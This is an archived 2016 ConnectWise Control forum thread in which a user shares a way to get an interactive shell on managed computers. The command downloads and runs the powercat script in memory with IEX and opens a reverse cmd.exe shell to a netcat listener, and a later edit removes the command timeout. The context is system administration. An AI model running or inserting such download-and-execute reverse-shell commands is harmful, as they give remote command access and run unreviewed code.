logo

The ConnectWise Control forum has moved to ConnectWise University! This forum has been locked and is in read-only mode. Click here for instructions on how to access the new forum.

Welcome Guest! You can not login or register.

Notification

Icon
Error

Options
Go to last post Go to first unread
apag96  
#1 Posted : Wednesday, January 27, 2016 5:14:55 PM(UTC)
apag96


Rank: Member

Medals: Level 1: Random Act of Kindness! Received One Thanks!

Joined: 1/16/2015(UTC)
Posts: 16
United States
Location: Missouri

Thanks: 5 times
Was thanked: 3 time(s) in 2 post(s)
We've all wanted to be able to spawn up an interactive shell on a device via ScreenConnect. The built-in "Commands" tab is nice, but limited and not interactive.
I'm a complete PowerShell newb, but I managed to find a way to create a temporary interactive shell through a reverse TCP connection. Just run this as a command on the computer:

Quote:
#!ps
#maxlength=100000
#timeout=90000
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1')
powercat -c your.server.ip.here -p 4455 -e C:\WINDOWS\System32\cmd.exe


In my case, I SSH'd into my server beforehand and ran the following netcat command to wait for the reverse connection:

Quote:
nc -l 4455


Now, if anyone can find a way to have powershell spawn a new process to start this connection, we would be able to bypass the timeout for commands that's built into ScreenConnect (I think). Or maybe there's a way to disable the timeout. Any ideas?

EDIT: Changing the #timeout to equal "-1" seems to have done the trick!

Edited by user Wednesday, January 27, 2016 5:23:28 PM(UTC)  | Reason: Not specified

thanks 2 users thanked apag96 for this useful post.
rich2323 on 1/27/2016(UTC), KBrownConsulting on 3/15/2016(UTC)

AustinKnight  
#2 Posted : Tuesday, February 23, 2016 2:59:14 PM(UTC)
AustinKnight


Rank: Advanced Member

Medals: Level 1: Random Act of Kindness! Received One Thanks!

Joined: 5/16/2012(UTC)
Posts: 307
Location: Oregon

Thanks: 62 times
Was thanked: 10 time(s) in 10 post(s)
The timeout is a setting and can be set to a very long time frame.
JASON T. AUSTIN
Lead Network Engineer
Falcon Development, Inc.
www.falcondevelopment.com

Users browsing this topic
Similar Topics
v6.9 Interactive Shell (General Information)
by georg.leitner 11/5/2018 1:37:43 PM(UTC)
Forum Jump  
You cannot post new topics in this forum.
You cannot reply to topics in this forum.
You cannot delete your posts in this forum.
You cannot edit your posts in this forum.
You cannot create polls in this forum.
You cannot vote in polls in this forum.